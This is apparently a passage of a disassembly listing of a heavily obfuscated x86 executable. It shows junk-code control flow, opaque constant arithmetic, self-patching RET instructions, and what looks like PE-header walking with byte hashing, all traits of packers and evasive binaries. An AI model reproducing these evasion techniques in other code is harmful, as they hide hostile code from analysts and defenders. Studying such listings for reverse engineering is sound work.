; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_448BDC:				; CODE XREF: sub_4418C2:loc_4425C3j
		jnz	loc_439B55
; END OF FUNCTION CHUNK	FOR sub_4418C2
; START	OF FUNCTION CHUNK FOR sub_44B5FD

loc_448BE2:				; CODE XREF: sub_44B5FD-BCC4j
		jmp	loc_448176
; END OF FUNCTION CHUNK	FOR sub_44B5FD
; ---------------------------------------------------------------------------
		test	eax, 0F8DF3A1Eh
		jmp	loc_43B83F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_448BF2:				; CODE XREF: sub_4494B1:loc_439B07j
		pop	edi
		and	edi, 763F418Ch
		jns	loc_4370AB
; END OF FUNCTION CHUNK	FOR sub_4494B1
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_448BFF:				; CODE XREF: sub_44368F-A168j
		jmp	loc_44DD29
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
		sbb	ecx, esi
		jmp	loc_43DB5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B537

loc_448C0B:				; CODE XREF: sub_44B537+Aj
		push	0F6EB59F6h
		pop	ebx
		xor	ebx, 0F6F51B45h
		and	ebx, 1D076510h
		or	ebx, 8484C985h
		add	ebx, 0DDF4709Dh
		add	ebx, ebp
		jmp	loc_439CBD
; END OF FUNCTION CHUNK	FOR sub_44B537
; ---------------------------------------------------------------------------

loc_448C30:				; CODE XREF: kgbikm34:0043E633j
		jbe	loc_4371ED
		jle	loc_43F820

loc_448C3C:				; CODE XREF: kgbikm34:00438CFEj
		jg	loc_437214
		and	edi, ebx

loc_448C44:				; CODE XREF: kgbikm34:loc_4448D7j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_44B258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_448C4F:				; CODE XREF: sub_43DF5B:loc_438514j
		and	eax, 8F3FAC22h
		xor	eax, 27BB4079h
		rol	eax, 1Eh
		xor	eax, 0C2DC7053h
		jmp	loc_447BBE
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_448C69:				; CODE XREF: sub_44213E:loc_445EDCj
		or	edx, 0EC14891Bh
		add	edx, 116C44E5h
		mov	[edx], eax
		pop	edx
		jmp	loc_44BA9B
; END OF FUNCTION CHUNK	FOR sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_448C7D:				; CODE XREF: sub_44BB9F+4j
		pop	edx
		pop	ecx
		call	sub_44B34A

loc_448C84:				; CODE XREF: sub_44D8F8:loc_44D907j
		jmp	loc_44A72B
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448C8A:				; CODE XREF: kgbikm34:0044386Ej
		jmp	locret_44D42A
; ---------------------------------------------------------------------------

loc_448C8F:				; CODE XREF: kgbikm34:0043777Ej
		jno	loc_437931

; =============== S U B	R O U T	I N E =======================================



sub_448C95	proc near		; CODE XREF: sub_44B269+1p

; FUNCTION CHUNK AT 0043865E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439814 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A94E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BD71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA00 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043CE89 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D11F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043DA4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F48A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F754 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004422AA SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00442A8A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443D82 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00444AAB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445943 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445FC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044960F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044AA25 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044BD99 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044CC63 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D33D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D3F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DC6C SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_443D82
sub_448C95	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448CA3	proc near		; CODE XREF: sub_437954+3p
					; kgbikm34:0043EBFCj

; FUNCTION CHUNK AT 004456F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446F9C SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		mov	ebx, ecx
		jmp	loc_4456F4
sub_448CA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_448CAF:				; CODE XREF: sub_4478CD-DDE9j
		and	eax, 0B16745F7h
		add	eax, 703DD8ECh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44561B
		jmp	loc_43F90F
; END OF FUNCTION CHUNK	FOR sub_4478CD

; =============== S U B	R O U T	I N E =======================================



sub_448CCA	proc near		; CODE XREF: kgbikm34:00444786j
					; kgbikm34:0044B74Bp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043FB93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447A3D SIZE 0000000C BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		pop	edx
		jmp	loc_43FB93
sub_448CCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_448CD5:				; CODE XREF: sub_444681-26A7j
		mov	eax, 0B08332E4h

loc_448CDA:				; CODE XREF: sub_444681-26B5j
		xor	eax, 0FB730C83h
		add	ecx, eax
		pop	eax
		mov	[ecx], eax
		pop	ecx
		mov	eax, [ebp-4]
		jmp	loc_44AE44
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_448CEE:				; CODE XREF: sub_448800:loc_43FD58j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B7BB
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_448CF6:				; CODE XREF: sub_44C198+6j
		mov	eax, [esp+8+var_8]
		push	edx
		push	edi
		push	5940981Bh
		pop	edi
		add	edi, 3274EB3Ch
		sub	edi, 1FF3BEB3h
		jmp	loc_4397DD
; END OF FUNCTION CHUNK	FOR sub_44C198
; ---------------------------------------------------------------------------
		mov	[eax], ebp
		add	eax, 917DB1Dh
		jmp	sub_44BAC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441086

loc_448D1F:				; CODE XREF: sub_441086+9640j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_441086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_448D21:				; CODE XREF: sub_43F145:loc_43C54Cj
		jmp	loc_43DE85
; END OF FUNCTION CHUNK	FOR sub_43F145

; =============== S U B	R O U T	I N E =======================================



sub_448D26	proc near		; CODE XREF: kgbikm34:loc_43A08Dp
					; sub_441086+6103p

; FUNCTION CHUNK AT 00442E88 SIZE 00000005 BYTES

		push	offset sub_4397CA
		jmp	loc_442E88
sub_448D26	endp


; =============== S U B	R O U T	I N E =======================================



sub_448D30	proc near		; CODE XREF: sub_442A94+5p
					; kgbikm34:00446BCEj

; FUNCTION CHUNK AT 0043854F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439B40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A1A SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	ds:dword_43A8A0, eax
		cmp	ds:dword_43A8A0, 0
		jnz	loc_44BC9D
		jmp	loc_439B40
sub_448D30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_448D4B:				; CODE XREF: sub_445F1B+5974j
		xor	eax, 6FD283Ch
		call	sub_4400C7
		push	ebx
		push	2979F401h
		jmp	loc_447354
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------

loc_448D61:				; CODE XREF: kgbikm34:0043F85Dj
		adc	esi, 3699EAE9h

; =============== S U B	R O U T	I N E =======================================



sub_448D67	proc near		; CODE XREF: sub_445E00-EC65p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
		jmp	loc_440261
sub_448D67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E00

loc_448D73:				; CODE XREF: sub_445E00:loc_440261j
		push	offset loc_4398B7
		jmp	loc_437945
; END OF FUNCTION CHUNK	FOR sub_445E00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_448D7D:				; CODE XREF: sub_43D494-4300j
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		mov	eax, [ebp-1Ch]
		shl	eax, 2
		jmp	loc_4371D3
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F15

loc_448D8D:				; CODE XREF: sub_441F15+1Bj
		pop	eax
		add	eax, 0FAF08071h
		or	eax, ds:4000F3h
		add	eax, 4A47B76Ah
		xchg	eax, [esp+4+var_4]
		jmp	loc_440894
; END OF FUNCTION CHUNK	FOR sub_441F15

; =============== S U B	R O U T	I N E =======================================



sub_448DA8	proc near		; DATA XREF: kgbikm34:0043EADEo
		sub	eax, 1088727Ah
		xor	eax, 39339ABDh
		add	eax, 0C0A45D46h
		xor	eax, 0E5A7A9E7h
sub_448DA8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_448DC0:				; CODE XREF: sub_43DC42:loc_438E60j
		rol	eax, 0Dh
		jmp	loc_43F3A5
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_448DC8:				; CODE XREF: sub_443AFD-1D44j
		mov	[edi], eax
		pop	edi
		push	offset loc_43C6BD
		jmp	loc_44E0A3
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------

loc_448DD5:				; CODE XREF: kgbikm34:0044D518j
		cmp	al, 0A4h
		jz	loc_43B37E
		jmp	loc_43DB2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E9A

loc_448DE2:				; CODE XREF: sub_447E9A:loc_43793Cj
		and	edi, 6D40FFCCh
		add	edi, 2C1839C9h
		rol	edi, 2
		or	edi, 4ECA56D0h
		add	edi, 9053883Bh
		mov	[edi], eax
		pop	edi
		lea	eax, sub_437A59
		jmp	loc_44A3B8
; END OF FUNCTION CHUNK	FOR sub_447E9A
; ---------------------------------------------------------------------------
		mov	eax, 0F2B89A19h
		call	sub_43BF6F
		mov	ds:off_41E110, eax
		push	offset sub_44238F
		jmp	loc_442610
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_448E25:				; CODE XREF: sub_443681+9C5Fj
		mov	ds:off_41E11C, eax
		lea	eax, loc_44C338
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C338
; END OF FUNCTION CHUNK	FOR sub_443681

; =============== S U B	R O U T	I N E =======================================



sub_448E39	proc near		; CODE XREF: .text:00416DC8p
					; kgbikm34:00442B9Cj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A0B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A319 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C594 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442BA7 SIZE 0000000A BYTES

		push	eax
		push	30C077DCh
		pop	eax
		xor	eax, 76898589h
		jmp	loc_43A319
sub_448E39	endp


; =============== S U B	R O U T	I N E =======================================



sub_448E4B	proc near		; CODE XREF: sub_447193-904Ap
					; kgbikm34:00443256j
		xchg	edx, [esp+0]
		pop	edx

loc_448E4F:				; CODE XREF: kgbikm34:loc_444174j
		mov	edx, [ebp-14h]
		push	offset loc_44BDC2
		jmp	nullsub_110
sub_448E4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394B6

loc_448E5C:				; CODE XREF: sub_4394B6+A23j
		add	eax, 345C4415h
		xchg	eax, [esp+0]
		jmp	loc_44A5E5
; END OF FUNCTION CHUNK	FOR sub_4394B6
; ---------------------------------------------------------------------------

loc_448E6A:				; CODE XREF: kgbikm34:loc_44653Fj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4438CA
		jmp	loc_44D9C4
; ---------------------------------------------------------------------------

loc_448E7C:				; CODE XREF: kgbikm34:0043B01Fj
		mov	ds:dword_43C5B8, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_448E83:				; CODE XREF: sub_43DC9A+E165j
		jmp	loc_44B5BE
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_448E88:				; CODE XREF: kgbikm34:0043EEA8j
		jmp	loc_43F7D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_448E8D:				; CODE XREF: sub_439A2E+6B70j
					; sub_449893-F40j
		rol	eax, 0Bh
		push	eax
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_448E97:				; CODE XREF: sub_4440CD-71A6j
		jmp	loc_44CD6D
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44273E

loc_448E9C:				; CODE XREF: sub_44273E-B66j
		mov	[ebp-4], eax
		jmp	loc_4454AF
; END OF FUNCTION CHUNK	FOR sub_44273E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448EA4	proc near		; CODE XREF: sub_43DC9A+4AB4p
					; sub_43DC9A:loc_44A6DFp

var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		call	sub_44DD5B
sub_448EA4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_448EB5:				; CODE XREF: sub_43E4C0:loc_43E4CEj
					; kgbikm34:0043E4E9j
		and	edi, 9FEA4886h
		add	edi, 785A1288h
		xchg	edi, [esp+4+var_4]
		jmp	loc_44A6F5
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_448EC9:				; CODE XREF: sub_444002+5594j
		sub	ebx, 0ACE2EC1Ch
		pushf
		and	ebx, edi

loc_448ED2:				; CODE XREF: sub_440380:loc_444388j
		push	0E47CD9D3h
		pop	eax
		or	eax, 959CA12Ch
		rol	eax, 14h
		jmp	loc_44D524
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_448EE6:				; CODE XREF: sub_44A80D+6j
		pop	ecx
		xor	ecx, 45CAA4A7h
		or	ecx, 2E3EAEF4h
		add	ecx, 808604C0h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44B4CE
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
		jmp	ds:off_41E20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_448F07:				; CODE XREF: sub_43B0B7:loc_448502j
					; sub_44A111+279Dj ...
		jno	loc_44932A
		xchg	ebx, [esp-8+arg_4]
		mov	edx, ebx
		jmp	loc_447D88
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_448F17:				; DATA XREF: sub_4479D5-E8C6o
		add	ecx, eax
		call	sub_444512

loc_448F1E:				; CODE XREF: kgbikm34:0044D5ADj
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_448F23:				; CODE XREF: sub_44D21F+14j
		jmp	loc_445D64
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449617

loc_448F28:				; CODE XREF: sub_449617+Dj
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_449617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_448F2D:				; CODE XREF: sub_444002-76ACj
		mov	edx, esi
		pop	esi
		pop	eax
		push	ebx
		push	0C0A4EB8Dh
		pop	ebx
		jmp	loc_449A1C
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------

loc_448F3D:				; CODE XREF: kgbikm34:004378D4j
					; kgbikm34:004378EEj
		and	esi, 4D86F3E3h
		test	esi, 4000h
		jmp	loc_437AFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_448F4E:				; CODE XREF: sub_439A2E+992Bj
		pop	eax
		sub	eax, 0FC6CDCFCh
		xor	eax, 33ECE9AFh
		sub	eax, 7F99493h
		or	eax, ds:4000F1h
		add	eax, 53EACCh
		jmp	loc_44059A
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_448F72:				; CODE XREF: sub_444051+4j
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43EB8F
		call	sub_44658A

loc_448F80:				; DATA XREF: kgbikm34:004447DEo
		call	sub_4487F2
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		jmp	loc_440999
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------

loc_448F90:				; CODE XREF: kgbikm34:00441049j
		rol	ebx, 2
		sub	ebx, ds:4000F9h

loc_448F99:				; CODE XREF: kgbikm34:loc_44190Aj
		push	offset sub_443398
		jmp	loc_43FE13
; ---------------------------------------------------------------------------

loc_448FA3:				; CODE XREF: kgbikm34:loc_4371D8j
		call	sub_444A23
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_448FA8:				; CODE XREF: sub_44114F-3E17j
		jmp	loc_43CC72
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC8B

loc_448FAD:				; CODE XREF: sub_44DC8B:loc_44DC98j
		xchg	edx, [esp+0]
		jmp	sub_442435
; END OF FUNCTION CHUNK	FOR sub_44DC8B
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		mov	eax, [esp]
		push	edx
		call	sub_43B469
		jmp	loc_441871
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448FCA:				; CODE XREF: kgbikm34:00441BC5j
		jmp	loc_43949E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_448FCF:				; CODE XREF: kgbikm34:0043C273j
					; sub_44114F+2584j
		and	edx, ecx
		popf

loc_448FD2:				; CODE XREF: sub_44114F:loc_442D48j
		add	ebx, 965A36ABh
		and	ebx, 0C63F863Eh
		cmp	ebx, 45AF7804h
		jmp	loc_443F23
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_448FE9	proc near		; CODE XREF: kgbikm34:0043B483j
					; sub_443622+5E2Ep
		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]

loc_448FF9:				; CODE XREF: kgbikm34:loc_43E1C4j
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_44E0ED
sub_448FE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_449004:				; CODE XREF: sub_4471D6-6960j
		test	byte ptr [ebp-7], 8
		jz	loc_44BF2B
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_44B7AF
		jmp	loc_43A8B9
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_44901C:				; CODE XREF: kgbikm34:0043F328j
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		jmp	loc_445C38
; ---------------------------------------------------------------------------
		not	ebp
		jmp	sub_43AC6D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449035:				; CODE XREF: kgbikm34:00439210j
		jmp	loc_43CD86

; =============== S U B	R O U T	I N E =======================================



sub_44903A	proc near		; CODE XREF: kgbikm34:loc_43A6E1p
					; kgbikm34:0044D350j

; FUNCTION CHUNK AT 00446C64 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004474FB SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0F50A1EE7h
		call	sub_43BF6F
		mov	ds:dword_41E18C, eax
		jmp	loc_446C64
sub_44903A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_449054:				; CODE XREF: sub_43D494:loc_44A3C3j
		xchg	edi, [esp+4+var_4]
		jmp	loc_44768E
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_44905C	proc near		; DATA XREF: kgbikm34:004398C7o

; FUNCTION CHUNK AT 00438ABF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A530 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D991 SIZE 0000000E BYTES

		push	0D3E4A6E7h
		pop	eax
		rol	eax, 0Fh
		add	eax, 1EB37DF2h
		rol	eax, 7
		jmp	loc_438ABF
sub_44905C	endp

; ---------------------------------------------------------------------------

loc_449073:				; DATA XREF: sub_44D37A+10o
		add	edx, 8511E5CBh
		add	edx, ebp
		add	edx, 3F05A272h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_43D215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_44908A:				; CODE XREF: sub_437B11:loc_43D8C4j
					; sub_437B11+10B78j
		push	offset loc_43A3F2
		jmp	loc_43A615
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_449094:				; CODE XREF: sub_43E4C0+B2CFj
		pop	ecx
		lea	eax, loc_43F07E
		mov	byte ptr [eax],	0C3h
		jmp	loc_443200
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB0F

loc_4490A3:				; CODE XREF: sub_43CB0F+2575j
		mov	eax, [esp+0]
		push	ebp
		jmp	loc_442D08
; END OF FUNCTION CHUNK	FOR sub_43CB0F

; =============== S U B	R O U T	I N E =======================================



sub_4490AC	proc near		; CODE XREF: kgbikm34:0043942Dj
					; sub_44A680:loc_44D088p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A05C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B7A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DDCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442856 SIZE 00000011 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		push	0B330BD0Dh
		pop	esi
		and	esi, 0FF0EFAA9h
		jnz	loc_43B7A5

loc_4490C2:				; CODE XREF: kgbikm34:00442A41j
		jmp	sub_44B46B
sub_4490AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebp, 0AFE2394Ch
		popf
		jmp	loc_440EBC
; ---------------------------------------------------------------------------
		push	17366243h
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		sub	eax, 0F930B5C4h
		jmp	loc_447B56
; ---------------------------------------------------------------------------
		mov	eax, 38F24592h
		call	sub_4400C7
		push	esi
		push	0BBD91A9h
		pop	esi
		or	esi, 0DB508AF6h
		sub	esi, 0B6504BEh
		jmp	loc_44B66A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44910B:				; CODE XREF: sub_43DFE5:loc_44BA25j
		pop	ebp
		or	ebx, eax
		jmp	loc_43BFAF
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_449113:				; CODE XREF: kgbikm34:0043D442j
		add	esi, ds:4000F9h
		cmp	esi, 0EE8E323Bh
		jmp	loc_449E7B
; ---------------------------------------------------------------------------

loc_449124:				; DATA XREF: sub_44B7AF+1o
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_43975E
		jmp	loc_445B6D

; =============== S U B	R O U T	I N E =======================================



sub_449144	proc near		; CODE XREF: sub_437B23+5p
					; kgbikm34:0043C9C9j

; FUNCTION CHUNK AT 0043E90F SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_41E180, eax
		lea	eax, nullsub_319
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E90F
sub_449144	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44915C:				; CODE XREF: sub_439587+F122j
					; sub_439587+11516j
		mov	eax, [ebp-20h]
		push	ecx
		push	26FC2211h
		pop	ecx
		jmp	loc_4405A9
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44916B:				; CODE XREF: sub_4474D5:loc_4454B4j
		pop	ecx
		or	ecx, 715E6DEDh
		and	ecx, 95B85A50h
		jnz	loc_43F395
; END OF FUNCTION CHUNK	FOR sub_4474D5
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_44917E:				; CODE XREF: sub_43EB3F-C2Ej
		jmp	loc_446640
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; ---------------------------------------------------------------------------
		rol	eax, 12h
		xor	ebp, 34865EC4h
		shl	edx, 13h
		jmp	loc_449C54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_449194:				; CODE XREF: sub_447E85:loc_43A73Fj
					; sub_44A476:loc_44731Fj ...
		mov	eax, 33F214AFh
		push	ebx
		push	276A7041h
		pop	ebx
		jmp	loc_43CACF
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		mov	edx, [ebp-18h]
		jmp	loc_44032B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_4491AD:				; CODE XREF: sub_44649E:loc_4456CAj
		call	sub_44368F

loc_4491B2:				; CODE XREF: sub_43E6EF+C0EAj
		jmp	loc_445F29
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_4491B7:				; CODE XREF: kgbikm34:004401D3j
		jmp	sub_43B469
; ---------------------------------------------------------------------------

loc_4491BC:				; CODE XREF: kgbikm34:0043B065j
		jmp	loc_44B546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_4491C1:				; CODE XREF: sub_4394EB+Cj
		jz	loc_43859A
		jmp	loc_441998
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44055B

loc_4491CC:				; CODE XREF: sub_44055B:loc_44423Bj
		rol	ebx, 1Fh
		xor	ebx, 7AFEBF54h
		push	offset loc_43F89E
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_44055B

; =============== S U B	R O U T	I N E =======================================



sub_4491DF	proc near		; DATA XREF: sub_4474D5:loc_43F5BEo
		mov	[eax], edx
		pop	eax

loc_4491E2:				; CODE XREF: kgbikm34:0044413Aj
					; kgbikm34:004447ADj
		xchg	eax, edx
		call	sub_4487F2
		retn
sub_4491DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4491E9:				; CODE XREF: kgbikm34:0043877Bj
		jmp	loc_44ABCF
; ---------------------------------------------------------------------------
		dw 8D42h
dword_4491F0	dd 77DD0000h		; DATA XREF: kgbikm34:loc_4447A5r
; ---------------------------------------------------------------------------

loc_4491F4:				; CODE XREF: kgbikm34:0044D6E3j
		jmp	loc_442897
; ---------------------------------------------------------------------------
